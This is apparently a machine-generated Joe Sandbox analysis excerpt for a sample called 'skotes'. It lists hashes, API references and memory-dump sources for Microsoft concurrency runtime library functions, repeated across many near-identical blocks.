Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: d40661f0598c184f77dd052bc408d3928757e4f92ad44e5c4ad81ed290e4fa6e
Instruction ID: 3c9982e5cbdfcc8acb063f006ebc589365bd8ecdefaf928ad69c1901b5971380
Opcode Fuzzy Hash: d40661f0598c184f77dd052bc408d3928757e4f92ad44e5c4ad81ed290e4fa6e
Instruction Fuzzy Hash: 4001FD31200531BFCE29ABA4F882E6AB73AFF947107040129F80597612DF20EC6186B0

Function 00D2EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00D2EE6A
ListArray.LIBCONCRT ref: 00D2EE7C

Part of subcall function 00D2EF29: _InternalDeleteHelper.LIBCONCRT ref: 00D2EF3B

ListArray.LIBCONCRT ref: 00D2EE86
_InternalDeleteHelper.LIBCONCRT ref: 00D2EE9F

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 44f8f7ccafef4b4121e8a84d866c4ca5a7d63ed848ec9840a8c6933e950b01e1
Instruction ID: 4f1076a566b3a83b2b5aff86ff79074454c79f1de3dab8c0c3cbe0e114bcc2ee
Opcode Fuzzy Hash: 44f8f7ccafef4b4121e8a84d866c4ca5a7d63ed848ec9840a8c6933e950b01e1
Instruction Fuzzy Hash: 6201A231200531BBCE25AB60E982D6EBB7AFF947147050429F80557651DB20EC6196B0

Function 00D2D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00D2D0C5
ListArray.LIBCONCRT ref: 00D2D0D7

Part of subcall function 00D2C6B2: _InternalDeleteHelper.LIBCONCRT ref: 00D2C6C4

ListArray.LIBCONCRT ref: 00D2D0E1
_InternalDeleteHelper.LIBCONCRT ref: 00D2D0FA

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 987a6adb824d702a8c9199d7cae9cf5b8686646ff4e2699e1e10b7e3b267522d
Instruction ID: 1db7e96647fe1123e9b1a287324fe05a7822667c15e73ed797127155ad3c3b96
Opcode Fuzzy Hash: 987a6adb824d702a8c9199d7cae9cf5b8686646ff4e2699e1e10b7e3b267522d
Instruction Fuzzy Hash: E501D631300531BFCE25BB60E986D6EB77BFF947147041425F80097661DF24AC6186B0

Function 00D333C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D333DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00D333EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00D33407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D3341F

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 171d3c7fe8d3ee65d7a8bac2b7a6a3382514b1a4b4f895b9ed6e12e270a45573
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6601D136A00514A7CF16EF689941EAFB7A9DF54350F140015FC12AB282DA71EE1097B0

Function 00D29510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00D29519

Part of subcall function 00D1F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00D25486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00D2953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00D29550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00D29559

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: c677110a5c7eb78e8c383d7098c85765bae7b8dfd2d70b6a8d6244d4ae37c5a0
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 27F0A030701A305FE662AB68B821F6A63D5DF50719F04841DE45B97682CE24E842CBB0

Function 00D1EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00D1EFD1

Part of subcall function 00D1F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00D1F989
Part of subcall function 00D1F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00D1F9C0
Part of subcall function 00D1F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00D1F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00D1EFDD

Part of subcall function 00D1F40F: Concurrency::critical_section::unlock.LIBCMT ref: 00D1F433

Concurrency::Context::Block.LIBCONCRT ref: 00D1EFE2

Part of subcall function 00D20366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00D20368

Concurrency::critical_section::lock.LIBCONCRT ref: 00D1F002

Part of subcall function 00D1F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00D1F8AC
Part of subcall function 00D1F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00D1F8B7

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
